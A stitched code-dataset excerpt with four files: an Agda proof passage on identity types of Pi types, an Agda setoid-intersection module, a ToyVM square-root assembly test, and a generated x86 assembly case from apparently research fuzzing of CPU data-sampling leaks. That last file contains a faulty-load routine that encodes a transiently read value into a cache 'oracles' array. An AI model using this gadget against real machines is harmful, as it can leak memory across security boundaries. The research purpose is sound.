[ΓIdA'] (λ {Δ} {σ} → Uᵛ emb< [ΓIdA'] {Δ} {σ}) {Δ} {σ} [wwIdAA'] = Idᵛ {A = Univ rA ⁰} {t = wk1 (wk1 A)} {u = wk1 (wk1 A')} [ΓIdA'] (λ {Δ} {σ} → [wwUA'] {Δ} {σ} rA) [wwA] [wwA'] [SProp] = Uᵛ {rU = %} ∞< [ΓId] in ([var0]ₜ : (Γ ∙ Id (Univ rA ⁰) A A' ^ [ % , ι ¹ ] ∙ wk1 A' ^ [ rA , ι ⁰ ]) ⊩ᵛ⟨ ∞ ⟩ var 0 ∷ wk1 (wk1 A') ^ [ rA , ι ⁰ ] / [ΓIdA'] / [wwA']') ([var1]ₜ : (Γ ∙ Id (Univ rA ⁰) A A' ^ [ % , ι ¹ ] ∙ wk1 A' ^ [ rA , ι ⁰ ]) ⊩ᵛ⟨ ∞ ⟩ var 1 ∷ Id (Univ rA ⁰) (wk1 (wk1 A)) (wk1 (wk1 A')) ^ [ % , ι ¹ ] / [ΓIdA'] / [wwIdAA']) → Γ ∙ Id (Univ rA ⁰) A A' ^ [ % , ι ¹ ] ⊩ᵛ⟨ ∞ ⟩ Id-U-ΠΠ-res A A' B B' ∷ SProp ¹ ^ [ ! , ∞ ] / [ΓId] / (λ {Δ} {σ} → [SProp] {Δ} {σ}) Id-U-ΠΠ-resᵗᵛ {A} {B} {A'} {B'} {rA} {Γ} [Γ] [A] [A'] [UB] [UB'] [A]ₜ [B]ₜ [A']ₜ [B']ₜ [var0]ₜ [var1]ₜ = let l = ∞ lΠ = ⁰ [SProp] = Uᵛ {rU = %} ∞< [Γ] [UA] = maybeEmbᵛ {A = Univ rA _} [Γ] (Uᵛ emb< [Γ]) [UΠ] = maybeEmbᵛ {A = Univ ! _} [Γ] (Uᵛ emb< [Γ]) ⊢AΔ = λ {Δ} {σ} ⊢Δ [σ] → escapeTerm (proj₁ ([UA] {Δ} {σ} ⊢Δ [σ])) (proj₁ ([A]ₜ ⊢Δ [σ])) ⊢A'Δ = λ {Δ} {σ} ⊢Δ [σ] → escapeTerm (proj₁ ([UA] {Δ} {σ} ⊢Δ [σ])) (proj₁ ([A']ₜ ⊢Δ [σ])) ⊢A = λ {Δ} {σ} ⊢Δ [σ] → escape (proj₁ ([A] {Δ} {σ} ⊢Δ [σ])) ⊢A' = λ {Δ} {σ} ⊢Δ [σ] → escape (proj₁ ([A'] {Δ} {σ} ⊢Δ [σ])) [ΓA] = (_∙_ {Γ} {A} [Γ] [A]) [ΓA'] = (_∙_ {Γ} {A'} [Γ] [A']) ⊢BΔ = λ {Δ} {σ} ⊢Δ [σ] → escapeTerm (proj₁ ([UB] {Δ} {σ} ⊢Δ [σ])) (proj₁ ([B]ₜ {Δ} {σ} ⊢Δ [σ])) [A]' = univᵛ {A = A} [Γ] (≡is≤ PE.refl) (λ {Δ} {σ} → [UA] {Δ} {σ}) [A]ₜ [A']' = univᵛ {A = A'} [Γ] (≡is≤ PE.refl) (λ {Δ} {σ} → [UA] {Δ} {σ}) [A']ₜ [B]' = univᵛ {A = B} [ΓA] (≡is≤ PE.refl) (λ {Δ} {σ} → [UB] {Δ} {σ}) [B]ₜ [B] = maybeEmbᵛ {A = B} [ΓA] [B]' [B']' = univᵛ {A = B'} [ΓA'] (≡is≤ PE.refl) (λ {Δ} {σ} → [UB'] {Δ} {σ}) [B']ₜ [B'] = maybeEmbᵛ {A = B'} [ΓA'] [B']' ⊢B'Δ = λ {Δ} {σ} ⊢Δ [σ] → escapeTerm (proj₁ ([UB'] {Δ} {σ} ⊢Δ [σ])) (proj₁ ([B']ₜ {Δ} {σ} ⊢Δ [σ])) [liftσ] = λ {Δ} {σ} ⊢Δ [σ] → liftSubstS {F = A} {σ = σ} {Δ = Δ} [Γ] ⊢Δ [A] [σ] [liftσ'] = λ {Δ} {σ} ⊢Δ [σ] → liftSubstS {F = A'} {σ = σ} {Δ = Δ} [Γ] ⊢Δ [A'] [σ] [ΠAB] = Πᵗᵛ {A} {B} (≡is≤ PE.refl) (≡is≤ PE.refl) [Γ] [A] (λ {Δ} {σ} → [UB] {Δ} {σ}) [A]ₜ [B]ₜ [ΠA'B'] = Πᵗᵛ {A'} {B'} (≡is≤ PE.refl) (≡is≤ PE.refl) [Γ] [A'] (λ {Δ} {σ} → [UB'] {Δ} {σ}) [A']ₜ [B']ₜ [IdAA']ₜ = Idᵗᵛ {A = Univ rA ⁰} {t = A} {u = A'} [Γ] (λ {Δ} {σ} → [UA] {Δ} {σ}) [A]ₜ [A']ₜ (Uᵗᵛ [Γ]) [IdAA'] = Idᵛ {A = Univ rA ⁰} {t = A} {u = A'} [Γ] (λ {Δ} {σ} → [UA] {Δ} {σ}) [A]ₜ [A']ₜ Id-U-ΠΠ-res A A' B B' = ∃ (Id (Univ rA ⁰) A A') ▹ (Π (wk1 A') ^ rA ° ⁰ ▹ Id (U ⁰) ((U.wk (lift (step id)) B) [ cast ⁰ (wk1 (wk1 A')) (wk1 (wk1 A)) (Idsym (Univ rA ⁰) (wk1 (wk1 A)) (wk1 (wk1 A')) (var 1)) (var 0) ]↑) (U.wk (lift (step id)) B') ° ¹ ° ¹) [ΓId] = _∙_ {A = Id (Univ rA ⁰) A A'} [Γ] [IdAA'] [wSProp] = Uᵛ {rU = %} ∞< [ΓId] [wA'] = wk1ᵗᵛ {F = Id (Univ rA ⁰) A A'} {G = A'} {lG = ⁰} [Γ] [IdAA'] [A']ₜ [wA']' = wk1ᵛ {A = A'} {F = Id (Univ rA ⁰) A A'} [Γ] [IdAA'] [A'] [wA]' = wk1ᵛ {A = A} {F = Id (Univ rA ⁰) A A'} [Γ] [IdAA'] [A] [wA] = wk1ᵗᵛ {F = Id (Univ rA ⁰) A A'} {G = A} {lG = ⁰} [Γ] [IdAA'] [A]ₜ [ΓIdA'] = _∙_ {A = wk1 A'} [ΓId] [wA']' [wwU¹] = λ {Δ} {σ} r → Uᵛ {rU = r} ∞< [ΓIdA'] {Δ} {σ} [wwUA'] = λ {Δ} {σ} r → maybeEmbᵛ {A = Univ r _ } [ΓIdA'] (λ {Δ} {σ} → Uᵛ emb< [ΓIdA'] {Δ} {σ}) {Δ} {σ} [wwUA']ᵗ = Uᵗᵛ [ΓIdA'] [ΓIdA] = _∙_ {A = wk1 A} [ΓId] [wA]' [wwA'] = wk1ᵗᵛ {F = wk1 A'} {G = wk1 A'} {lG = ⁰} [ΓId] [wA']' [wA'] [wwA] = wk1ᵗᵛ {F = wk1 A'} {G = wk1 A} {lG = ⁰} [ΓId] [wA']' [wA] [wwA']' = wk1ᵛ {A = wk1 A'} {F = wk1 A'} [ΓId] [wA']' [wA']' [wwA]' = wk1ᵛ {A = wk1 A} {F = wk1 A'} [ΓId] [wA']' [wA]' [wwU0A] = maybeEmbᵛ {A = Univ ! _ } [ΓIdA] (λ {Δ} {σ} → Uᵛ emb< [ΓIdA] {Δ} {σ}) [wB'] = wk1dᵗᵛ {F = A'} {F' = Id (Univ rA ⁰) A A'} {G = B'} [Γ] [A'] [IdAA'] (λ {Δ} {σ} → [UB'] {Δ} {σ}) (λ {Δ} {σ} → [wwUA'] {Δ} {σ} !) [B']ₜ [wB] = wk1dᵗᵛ {F = A} {F' = Id (Univ rA ⁰) A A'} {G = B} [Γ] [A] [IdAA'] (λ {Δ} {σ} → [UB] {Δ} {σ}) (λ {Δ} {σ} → [wwU0A] {Δ} {σ}) [B]ₜ [wwIdAA'] = Idᵛ {A = Univ rA ⁰} {t = wk1 (wk1 A)} {u = wk1 (wk1 A')} [ΓIdA'] (λ {Δ} {σ} → [wwUA'] {Δ} {σ} rA) [wwA] [wwA'] [wwIdA'A] = Idᵛ {A = Univ rA ⁰} {t = wk1 (wk1 A')} {u = wk1 (wk1 A)} [ΓIdA'] (λ {Δ} {σ} → [wwUA'] {Δ} {σ} rA) [wwA'] [wwA] in Πᵗᵛ {wk1 A'} {Id (U ⁰) (U.wk (lift (step id)) B [ cast ⁰ (wk1 (wk1 A')) (wk1 (wk1 A)) (Idsym (Univ rA ⁰) (wk1 (wk1 A)) (wk1 (wk1 A')) (var 1)) (var 0) ]↑) (U.wk (lift (step id)) B')} (<is≤ 0<1) (≡is≤ PE.refl) [ΓId] [wA']' (λ {Δ} {σ} → [wwU¹] {Δ} {σ} %) [wA'] (Idᵗᵛ {A = U ⁰} {t = (U.wk (lift (step id)) B [ cast ⁰ (wk1 (wk1 A')) (wk1 (wk1 A)) (Idsym (Univ rA ⁰) (wk1 (wk1 A)) (wk1 (wk1 A')) (var 1)) (var 0) ]↑)} {u = U.wk (lift (step id)) B'} [ΓIdA'] (λ {Δ} {σ} → [wwUA'] {Δ} {σ} !) (subst↑STerm {F = wk1 A'} {F' = wk1 A} {G = wk1d B} {t = cast ⁰ (wk1 (wk1 A')) (wk1 (wk1 A)) (Idsym (Univ rA ⁰) (wk1 (wk1 A)) (wk1 (wk1 A')) (var 1)) (var 0)} [ΓId] [wA']' [wA]' (λ {Δ} {σ} → [wwUA'] {Δ} {σ} !) (λ {Δ} {σ} → [wwU0A] {Δ} {σ}) [wB] (castᵗᵛ {A = wk1 (wk1 A')} {B = wk1 (wk1 A)} {t = var 0} {e = (Idsym (Univ rA ⁰) (wk1 (wk1 A)) (wk1 (wk1 A')) (var 1))} [ΓIdA'] (λ {Δ} {σ} → [wwUA'] {Δ} {σ} rA) [wwA'] [wwA] [wwA']' [wwA]' [var0]ₜ (Idᵛ {A = Univ rA ⁰} {t = wk1 (wk1 A')} {u = wk1 (wk1 A)} [ΓIdA'] (λ {Δ} {σ} → [wwUA'] {Δ} {σ} rA) [wwA'] [wwA]) (IdSymᵗᵛ {A = Univ rA ⁰} {t = wk1 (wk1 A)} {u = wk1 (wk1 A')} {e = var 1} [ΓIdA'] ((λ {Δ} {σ} → [wwU¹] {Δ} {σ} !)) (λ {Δ} {σ} → [wwUA']ᵗ {Δ} {σ}) (λ {Δ} {σ} → [wwUA'] {Δ} {σ} rA) [wwA] [wwA'] [wwIdAA'] [wwIdA'A] [var1]ₜ))) [wB'] (λ {Δ} {σ} → Uᵗᵛ [ΓIdA'] {Δ} {σ})) abstract Id-U-ΠΠᵗᵛ : ∀ {A B A' B' rA Γ} ([Γ] : ⊩ᵛ Γ) → let l = ∞ lΠ = ⁰ [UA] = maybeEmbᵛ {A = Univ rA _} [Γ] (Uᵛ emb< [Γ]) [UΠ] = maybeEmbᵛ {A = Univ ! _} [Γ] (Uᵛ emb< [Γ]) in ([A] : Γ ⊩ᵛ⟨ l ⟩ A ^ [ rA , ι lΠ ] / [Γ]) ([A'] : Γ ⊩ᵛ⟨ l ⟩ A' ^ [ rA , ι lΠ ] / [Γ]) ([UB] : Γ ∙ A ^ [ rA , ι lΠ ] ⊩ᵛ⟨ l ⟩ Univ ! lΠ ^ [ ! , next lΠ ] / [Γ] ∙ [A]) ([UB'] : Γ ∙ A' ^ [ rA , ι lΠ ] ⊩ᵛ⟨ l ⟩ Univ ! lΠ ^ [ ! , next lΠ ] / [Γ] ∙ [A']) ([A]ₜ : Γ ⊩ᵛ⟨ l ⟩ A ∷ Univ rA lΠ ^ [ ! , next lΠ ] / [Γ] / [UA]) ([B]ₜ : Γ ∙ A ^ [ rA , ι lΠ ] ⊩ᵛ⟨ l ⟩ B ∷ Univ ! lΠ ^ [ ! , next lΠ ] / [Γ] ∙ [A] / (λ {Δ} {σ} → [UB] {Δ} {σ})) ([A']ₜ : Γ ⊩ᵛ⟨ l ⟩ A' ∷ Univ rA lΠ ^ [ ! , next lΠ ] / [Γ] / [UA]) ([B']ₜ : Γ ∙ A' ^ [ rA , ι lΠ ] ⊩ᵛ⟨ l ⟩ B' ∷ Univ ! lΠ ^ [ ! , next lΠ ] / [Γ] ∙ [A'] / (λ {Δ} {σ} → [UB'] {Δ} {σ})) → [ Γ ⊩ᵛ⟨ l ⟩ (Id (U ⁰) (Π A ^ rA ° ⁰ ▹ B ° ⁰ ° ⁰) (Π A' ^ rA ° ⁰ ▹ B' ° ⁰ ° ⁰)) ≡ ∃ (Id (Univ rA ⁰) A A') ▹ (Π (wk1 A') ^ rA ° ⁰ ▹ Id (U ⁰) ((U.wk (lift (step id)) B) [ cast ⁰ (wk1 (wk1 A')) (wk1 (wk1 A)) (Idsym (Univ rA ⁰) (wk1 (wk1 A)) (wk1 (wk1 A')) (var 1)) (var 0) ]↑) (U.wk (lift (step id)) B') ° ¹ ° ¹) ∷ SProp ¹ ^ [ ! , next ¹ ] / [Γ] ] Id-U-ΠΠᵗᵛ {A} {B} {A'} {B'} {rA} {Γ} [Γ] [A] [A'] [UB] [UB'] [A]ₜ [B]ₜ [A']ₜ [B']ₜ = let l = ∞ lΠ = ⁰ [SProp] = Uᵛ {rU = %} ∞< [Γ] [UA] = maybeEmbᵛ {A = Univ rA _} [Γ] (Uᵛ emb< [Γ]) [UΠ] = maybeEmbᵛ {A = Univ ! _} [Γ] (Uᵛ emb< [Γ]) ⊢AΔ = λ {Δ} {σ} ⊢Δ [σ] → escapeTerm (proj₁ ([UA] {Δ} {σ} ⊢Δ [σ])) (proj₁ ([A]ₜ ⊢Δ [σ])) ⊢A'Δ = λ {Δ} {σ} ⊢Δ [σ] → escapeTerm (proj₁ ([UA] {Δ} {σ} ⊢Δ [σ])) (proj₁ ([A']ₜ ⊢Δ [σ])) ⊢A = λ {Δ} {σ} ⊢Δ [σ] → escape (proj₁ ([A] {Δ} {σ} ⊢Δ [σ])) ⊢A' = λ {Δ} {σ} ⊢Δ [σ] → escape (proj₁ ([A'] {Δ} {σ} ⊢Δ [σ])) [ΓA] = (_∙_ {Γ} {A} [Γ] [A]) [ΓA'] = (_∙_ {Γ} {A'} [Γ] [A']) ⊢BΔ = λ {Δ} {σ} ⊢Δ [σ] → escapeTerm (proj₁ ([UB] {Δ} {σ} ⊢Δ [σ])) (proj₁ ([B]ₜ {Δ} {σ} ⊢Δ [σ])) [A]' = univᵛ {A = A} [Γ] (≡is≤ PE.refl) (λ {Δ} {σ} → [UA] {Δ} {σ}) [A]ₜ [A']' = univᵛ {A = A'} [Γ] (≡is≤ PE.refl) (λ {Δ} {σ} → [UA] {Δ} {σ}) [A']ₜ [B]' = univᵛ {A = B} [ΓA] (≡is≤ PE.refl) (λ {Δ} {σ} → [UB] {Δ} {σ}) [B]ₜ [B] = maybeEmbᵛ {A = B} [ΓA] [B]' [B']' = univᵛ {A = B'} [ΓA'] (≡is≤ PE.refl) (λ {Δ} {σ} → [UB'] {Δ} {σ}) [B']ₜ [B'] = maybeEmbᵛ {A = B'} [ΓA'] [B']' ⊢B'Δ = λ {Δ} {σ} ⊢Δ [σ] → escapeTerm (proj₁ ([UB'] {Δ} {σ} ⊢Δ [σ])) (proj₁ ([B']ₜ {Δ} {σ} ⊢Δ [σ])) [liftσ] = λ {Δ} {σ} ⊢Δ [σ] → liftSubstS {F = A} {σ = σ} {Δ = Δ} [Γ] ⊢Δ [A] [σ] [liftσ'] = λ {Δ} {σ} ⊢Δ [σ] → liftSubstS {F = A'} {σ = σ} {Δ = Δ} [Γ] ⊢Δ [A'] [σ] [ΠAB] = Πᵗᵛ {A} {B} (≡is≤ PE.refl) (≡is≤ PE.refl) [Γ] [A] (λ {Δ} {σ} → [UB] {Δ} {σ}) [A]ₜ [B]ₜ [ΠA'B'] = Πᵗᵛ {A'} {B'} (≡is≤ PE.refl) (≡is≤ PE.refl) [Γ] [A'] (λ {Δ} {σ} → [UB'] {Δ} {σ}) [A']ₜ [B']ₜ [IdAA']ₜ = Idᵗᵛ {A = Univ rA ⁰} {t = A} {u = A'} [Γ] (λ {Δ} {σ} → [UA] {Δ} {σ}) [A]ₜ [A']ₜ (Uᵗᵛ [Γ]) [IdAA'] = Idᵛ {A = Univ rA ⁰} {t = A} {u = A'} [Γ] (λ {Δ} {σ} → [UA] {Δ} {σ}) [A]ₜ [A']ₜ Id-U-ΠΠ-res A A' B B' = ∃ (Id (Univ rA ⁰) A A') ▹ (Π (wk1 A') ^ rA ° ⁰ ▹ Id (U ⁰) ((U.wk (lift (step id)) B) [ cast ⁰ (wk1 (wk1 A')) (wk1 (wk1 A)) (Idsym (Univ rA ⁰) (wk1 (wk1 A)) (wk1 (wk1 A')) (var 1)) (var 0) ]↑) (U.wk (lift (step id)) B') ° ¹ ° ¹) [ΓId] = _∙_ {A = Id (Univ rA ⁰) A A'} [Γ] [IdAA'] [wSProp] = Uᵛ {rU = %} ∞< [ΓId] [wA'] = wk1ᵗᵛ {F = Id (Univ rA ⁰) A A'} {G = A'} {lG = ⁰} [Γ] [IdAA'] [A']ₜ [wA']' = wk1ᵛ {A = A'} {F = Id (Univ rA ⁰) A A'} [Γ] [IdAA'] [A'] [wA]' = wk1ᵛ {A = A} {F = Id (Univ rA ⁰) A A'} [Γ] [IdAA'] [A] [wA] = wk1ᵗᵛ {F = Id (Univ rA ⁰) A A'} {G = A} {lG = ⁰} [Γ] [IdAA'] [A]ₜ [ΓIdA'] = _∙_ {A = wk1 A'} [ΓId] [wA']' [wwU¹] = λ {Δ} {σ} r → Uᵛ {rU = r} ∞< [ΓIdA'] {Δ} {σ} [wwUA'] = λ {Δ} {σ} r → maybeEmbᵛ {A = Univ r _ } [ΓIdA'] (λ {Δ} {σ} → Uᵛ emb< [ΓIdA'] {Δ} {σ}) {Δ} {σ} [ΓIdA] = _∙_ {A = wk1 A} [ΓId] [wA]' [wwA'] = wk1ᵗᵛ {F = wk1 A'} {G = wk1 A'} {lG = ⁰} [ΓId] [wA']' [wA'] [wwA] = wk1ᵗᵛ {F = wk1 A'} {G = wk1 A} {lG = ⁰} [ΓId] [wA']' [wA] [wwA']' = wk1ᵛ {A = wk1 A'} {F = wk1 A'} [ΓId] [wA']' [wA']' [wwA]' = wk1ᵛ {A = wk1 A} {F = wk1 A'} [ΓId] [wA']' [wA]' [wwU0A] = maybeEmbᵛ {A = Univ ! _ } [ΓIdA] (λ {Δ} {σ} → Uᵛ emb< [ΓIdA] {Δ} {σ}) [wB'] = wk1dᵗᵛ {F = A'} {F' = Id (Univ rA ⁰) A A'} {G = B'} [Γ] [A'] [IdAA'] (λ {Δ} {σ} → [UB'] {Δ} {σ}) (λ {Δ} {σ} → [wwUA'] {Δ} {σ} !) [B']ₜ [wB] = wk1dᵗᵛ {F = A} {F' = Id (Univ rA ⁰) A A'} {G = B} [Γ] [A] [IdAA'] (λ {Δ} {σ} → [UB] {Δ} {σ}) (λ {Δ} {σ} → [wwU0A] {Δ} {σ}) [B]ₜ [wwIdAA'] = Idᵛ {A = Univ rA ⁰} {t = wk1 (wk1 A)} {u = wk1 (wk1 A')} [ΓIdA'] (λ {Δ} {σ} → [wwUA'] {Δ} {σ} rA) [wwA] [wwA'] [wwIdA'A] = Idᵛ {A = Univ rA ⁰} {t = wk1 (wk1 A')} {u = wk1 (wk1 A)} [ΓIdA'] (λ {Δ} {σ} → [wwUA'] {Δ} {σ} rA) [wwA'] [wwA] [var0]ₜ : (Γ ∙ Id (Univ rA ⁰) A A' ^ [ % , ι ¹ ] ∙ wk1 A' ^ [ rA , ι ⁰ ]) ⊩ᵛ⟨ ∞ ⟩ var 0 ∷ wk1 (wk1 A') ^ [ rA , ι ⁰ ] / [ΓIdA'] / [wwA']' [var0]ₜ = proj₂ (fundamentalVar here [ΓIdA']) [var1]ₜ : (Γ ∙ Id (Univ rA ⁰) A A' ^ [ % , ι ¹ ] ∙ wk1 A' ^ [ rA , ι ⁰ ]) ⊩ᵛ⟨ ∞ ⟩ var 1 ∷ Id (Univ rA ⁰) (wk1 (wk1 A)) (wk1 (wk1 A')) ^ [ % , ι ¹ ] / [ΓIdA'] / [wwIdAA'] [var1]ₜ = let X = fundamentalVar (there here) [ΓIdA'] in S.irrelevanceTerm {A = Id (Univ rA ⁰) (wk1 (wk1 A)) (wk1 (wk1 A'))} {t = var 1} [ΓIdA'] [ΓIdA'] (proj₁ X) [wwIdAA'] (proj₂ X) [Id-U-ΠΠ-res] : Γ ⊩ᵛ⟨ ∞ ⟩ Id-U-ΠΠ-res A A' B B' ∷ SProp ¹ ^ [ ! , ∞ ] / [Γ] / [SProp] [Id-U-ΠΠ-res] = ∃ᵗᵛ {F = Id (Univ rA ⁰) A A'} {G = (Π (wk1 A') ^ rA ° ⁰ ▹ Id (U ⁰) ((U.wk (lift (step id)) B) [ cast ⁰ (wk1 (wk1 A')) (wk1 (wk1 A)) (Idsym (Univ rA ⁰) (wk1 (wk1 A)) (wk1 (wk1 A')) (var 1)) (var 0) ]↑) (U.wk (lift (step id)) B') ° ¹ ° ¹)} [Γ] [IdAA'] (λ {Δ} {σ} → [wSProp] {Δ} {σ}) [IdAA']ₜ (Id-U-ΠΠ-resᵗᵛ {A} {B} {A'} {B'} [Γ] [A] [A'] (λ {Δ} {σ} → [UB] {Δ} {σ}) (λ {Δ} {σ} → [UB'] {Δ} {σ}) [A]ₜ [B]ₜ [A']ₜ [B']ₜ [var0]ₜ [var1]ₜ) [Id-U-ΠΠ] : Γ ⊩ᵛ Id (U ⁰) (Π A ^ rA ° ⁰ ▹ B ° ⁰ ° ⁰) (Π A' ^ rA ° ⁰ ▹ B' ° ⁰ ° ⁰) ⇒ Id-U-ΠΠ-res A A' B B' ∷ SProp ¹ ^ ∞ / [Γ] [Id-U-ΠΠ] = λ {Δ} {σ} ⊢Δ [σ] → let Aσ = ⊢AΔ {Δ} {σ} ⊢Δ [σ] Bσ = ⊢BΔ {Δ ∙ subst σ A ^ _} {liftSubst σ} (⊢Δ ∙ ⊢A {Δ} {σ} ⊢Δ [σ]) ([liftσ] {Δ} {σ} ⊢Δ [σ]) A'σ = ⊢A'Δ {Δ} {σ} ⊢Δ [σ] B'σ = ⊢B'Δ {Δ ∙ subst σ A' ^ _} {liftSubst σ} (⊢Δ ∙ ⊢A' {Δ} {σ} ⊢Δ [σ]) ([liftσ'] {Δ} {σ} ⊢Δ [σ]) X : Δ ⊢ Id (U ⁰) (Π (subst σ A) ^ rA ° ⁰ ▹ (subst (liftSubst σ) B) ° ⁰ ° ⁰) (Π (subst σ A') ^ rA ° ⁰ ▹ (subst (liftSubst σ) B') ° ⁰ ° ⁰) ⇒ Id-U-ΠΠ-res (subst σ A) (subst σ A') (subst (liftSubst σ) B) (subst (liftSubst σ) B') ∷ SProp ¹ ^ ∞ X = Id-U-ΠΠ {Δ} {subst σ A} {subst σ A'} {rA} {subst (liftSubst σ) B} {subst (liftSubst σ) B'} Aσ Bσ A'σ B'σ in PE.subst (λ BB → Δ ⊢ Id (U ⁰) (Π (subst σ A) ^ rA ° ⁰ ▹ (subst (liftSubst σ) B) ° ⁰ ° ⁰) (Π (subst σ A') ^ rA ° ⁰ ▹ (subst (liftSubst σ) B') ° ⁰ ° ⁰) ⇒ BB ∷ SProp ¹ ^ ∞ ) (PE.cong₃ (λ X Y Z → ∃ Id (Univ rA ⁰) (subst σ A) (subst σ A') ▹ Π X ^ rA ° ⁰ ▹ Id (U ⁰) Y Z ° ¹ ° ¹) ((PE.sym (Idsym-subst-lemma σ A'))) (lemma1 A A' B) (lemma2 B')) X [id] , [eq] = redSubstTermᵛ {SProp ¹} {Id (U ⁰) (Π A ^ rA ° ⁰ ▹ B ° ⁰ ° ⁰) (Π A' ^ rA ° ⁰ ▹ B' ° ⁰ ° ⁰)} {Id-U-ΠΠ-res A A' B B'} [Γ] [Id-U-ΠΠ] (λ {Δ} {σ} → [SProp] {Δ} {σ}) [Id-U-ΠΠ-res] in modelsTermEq [SProp] [id] [Id-U-ΠΠ-res] [eq]
Setoids/Intersection/Definition.agda
Smaug123/agdaproofs
4
16909
{-# OPTIONS --safe --warning=error --without-K #-} open import Agda.Primitive using (Level; lzero; lsuc; _⊔_) open import LogicalFormulae open import Sets.EquivalenceRelations open import Setoids.Setoids module Setoids.Intersection.Definition {a b : _} {A : Set a} (S : Setoid {a} {b} A) where open Setoid S open Equivalence eq open import Setoids.Subset S intersectionPredicate : {c d : _} {pred1 : A → Set c} {pred2 : A → Set d} (s1 : subset pred1) (s2 : subset pred2) → A → Set (c ⊔ d) intersectionPredicate {pred1 = pred1} {pred2} s1 s2 a = pred1 a && pred2 a intersection : {c d : _} {pred1 : A → Set c} {pred2 : A → Set d} (s1 : subset pred1) (s2 : subset pred2) → subset (intersectionPredicate s1 s2) intersection s1 s2 {x1} {x2} x1=x2 (inS1 ,, inS2) = s1 x1=x2 inS1 ,, s2 x1=x2 inS2
Test/Exec/Sqrt.asm
CharlesCarley/ToyVM
1
81325
; ------------------------------------------- .text ; ------------------------------------------- abs: cmp x9, x8 bge absge sub x9, x8, x9 ret absge: sub x9, x9, x8 ret ; ------------------------------------------- isqrt: ; X = x0 mov x1, 0 ; A = x1 mov x2, x0 ; B = x2 tsqrt: add x3, x1, x2 shr x3, x3, 1 ; I = (A+B) / 2 = x3 mul x4, x3, x3 ; S = I*I = x4 mov x9, x1 mov x8, x2 bl abs cmp x9, 1 bgt snext b dsqrt snext: cmp x4, x0 ; S > X bgt sgtx mov x1, x3 ; A = I b tsqrt sgtx: mov x2, x3 ; B = I b tsqrt dsqrt: mov x0, x3 ret ; ------------------------------------------- main: mov x7, 1 maint: cmp x7, 37 bge maind mov x0, x7 bl isqrt prg x0 inc x7 b maint maind: mov x0, 0 ret
Transynther/x86/_processed/NC/_ht_/i7-7700_9_0xca.log_21829_541.asm
ljhsiun2/medusa
9
174269
<filename>Transynther/x86/_processed/NC/_ht_/i7-7700_9_0xca.log_21829_541.asm<gh_stars>1-10 .global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r9 push %rbp push %rcx push %rdi push %rsi lea addresses_A_ht+0xa068, %rsi lea addresses_UC_ht+0xc168, %rdi nop nop nop nop cmp $40567, %rbp mov $107, %rcx rep movsw cmp $53175, %r12 lea addresses_D_ht+0x55a8, %r13 nop nop and %r12, %r12 mov (%r13), %di nop nop nop xor $7531, %rcx lea addresses_UC_ht+0x1ea28, %rsi nop nop sub %r9, %r9 movl $0x61626364, (%rsi) nop nop nop nop nop cmp %rcx, %rcx lea addresses_normal_ht+0x74b8, %rcx nop nop nop cmp %rdi, %rdi mov $0x6162636465666768, %r12 movq %r12, %xmm5 movups %xmm5, (%rcx) nop nop nop nop nop add $9666, %r12 lea addresses_A_ht+0x1bf68, %r12 nop nop nop nop nop xor %r13, %r13 vmovups (%r12), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $1, %xmm7, %rbp xor %r9, %r9 lea addresses_A_ht+0xc568, %rbp nop nop nop nop and $7138, %rsi mov $0x6162636465666768, %r9 movq %r9, (%rbp) nop nop nop nop nop inc %rbp lea addresses_UC_ht+0x3e80, %r9 nop nop nop nop inc %rcx movl $0x61626364, (%r9) nop nop nop mfence pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r8 push %rax push %rcx push %rdx push %rsi // Store lea addresses_D+0x128b0, %rcx add $20627, %rsi movb $0x51, (%rcx) nop nop nop nop nop add $58315, %r12 // Store lea addresses_WC+0x82d8, %rcx clflush (%rcx) nop sub $18762, %r11 movw $0x5152, (%rcx) nop nop xor %rdx, %rdx // Faulty Load mov $0x40b92d0000000968, %rsi and %r12, %r12 movups (%rsi), %xmm3 vpextrq $1, %xmm3, %rax lea oracles, %rsi and $0xff, %rax shlq $12, %rax mov (%rsi,%rax,1), %rax pop %rsi pop %rdx pop %rcx pop %rax pop %r8 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 1, 'NT': True, 'type': 'addresses_D'}} {'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WC'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_UC_ht'}} {'45': 21829} 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 